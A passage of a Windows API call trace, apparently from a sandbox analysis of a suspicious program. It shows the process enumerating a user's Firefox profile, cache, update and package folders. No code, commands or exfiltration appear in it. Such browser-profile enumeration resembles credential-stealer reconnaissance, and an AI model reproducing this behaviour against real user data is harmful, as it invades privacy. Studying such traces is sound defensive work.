ftLastAccessTime.dwLowDateTime=0xfa92ca6c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5afc425b, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="postSigningData", cAlternateFileName="POSTSI~1")) returned 1 [0180.063] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0180.063] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0180.063] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0180.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0180.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0180.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0180.063] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox", lpFilePart=0x0) returned 0x2d [0180.063] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0180.063] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.063] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa92ca6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa92ca6c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5afc425b, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="postSigningData", cAlternateFileName="POSTSI~1")) returned 1 [0180.063] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0180.063] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.064] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0180.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0180.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0180.064] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles", lpFilePart=0x0) returned 0x36 [0180.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.064] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles", lpFilePart=0x0) returned 0x36 [0180.064] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f890 [0180.065] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.065] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1f48d364, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1f48d364, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="w7cr0hor.default", cAlternateFileName="W7CR0H~1.DEF")) returned 1 [0180.065] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1f48d364, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1f48d364, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="w7cr0hor.default", cAlternateFileName="W7CR0H~1.DEF")) returned 0 [0180.065] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0180.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.065] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles", lpFilePart=0x0) returned 0x36 [0180.065] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f890 [0180.065] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.066] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1f48d364, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1f48d364, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="w7cr0hor.default", cAlternateFileName="W7CR0H~1.DEF")) returned 1 [0180.066] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.066] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0180.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0180.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0180.066] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", lpFilePart=0x0) returned 0x47 [0180.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0180.066] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", lpFilePart=0x0) returned 0x47 [0180.066] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1f48d364, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1f48d364, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f890 [0180.069] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1f48d364, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1f48d364, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.069] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1b643a87, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1b643a87, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cache2", cAlternateFileName="")) returned 1 [0180.069] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36169e1c, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x36169e1c, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x3616c434, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x7cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="directoryLinks.json", cAlternateFileName="DIRECT~1.JSO")) returned 1 [0180.069] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f5360c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x4f5360c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4f5360c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jumpListCache", cAlternateFileName="JUMPLI~1")) returned 1 [0180.069] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfcae9ac, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfflineCache", cAlternateFileName="OFFLIN~1")) returned 1 [0180.069] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd7f5907, ftCreationTime.dwHighDateTime=0x1d5c565, ftLastAccessTime.dwLowDateTime=0xbed90d34, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0xbed90d34, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="safebrowsing", cAlternateFileName="SAFEBR~2")) returned 1 [0180.070] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ad91fed, ftCreationTime.dwHighDateTime=0x1d5c554, ftLastAccessTime.dwLowDateTime=0x7ad91fed, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x7ad91fed, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings", cAlternateFileName="")) returned 1 [0180.070] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71b1dfe3, ftCreationTime.dwHighDateTime=0x1d5c554, ftLastAccessTime.dwLowDateTime=0x1fce539f, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1fce539f, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="startupCache", cAlternateFileName="STARTU~1")) returned 1 [0180.070] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe53ad66, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbe8cc1eb, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0xbe8cc1eb, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="thumbnails", cAlternateFileName="THUMBN~1")) returned 1 [0180.070] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x481f73e1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="_CACHE_CLEAN_", cAlternateFileName="_CACHE~1")) returned 1 [0180.070] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.070] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0180.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0180.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0180.071] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates", lpFilePart=0x0) returned 0x2d [0180.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0180.071] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates", lpFilePart=0x0) returned 0x2d [0180.071] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x7461fdb1, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f890 [0180.077] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x7461fdb1, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.077] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x7461fdb1, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0180.077] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0180.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0180.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0180.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0180.077] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates", lpFilePart=0x0) returned 0x2d [0180.077] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x7461fdb1, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x7461fdb1, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0180.077] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x7461fdb1, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x7461fdb1, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.078] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x7461fdb1, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x7461fdb1, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0180.078] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0180.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0180.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0180.078] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Packages", nBufferLength=0x105, lpBuffer=0x12febf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Packages", lpFilePart=0x0) returned 0x26 [0180.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff10c) returned 1 [0180.078] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Packages", nBufferLength=0x105, lpBuffer=0x12febc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Packages", lpFilePart=0x0) returned 0x26 [0180.078] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Packages\\*", lpFindFileData=0x12fee34 | out: lpFindFileData=0x12fee34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0180.078] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0c8) returned 1 [0180.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d4) returned 1 [0180.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0ac) returned 1 [0180.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff068) returned 1 [0180.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff074) returned 1 [0180.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0180.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0180.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0180.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0180.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0180.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 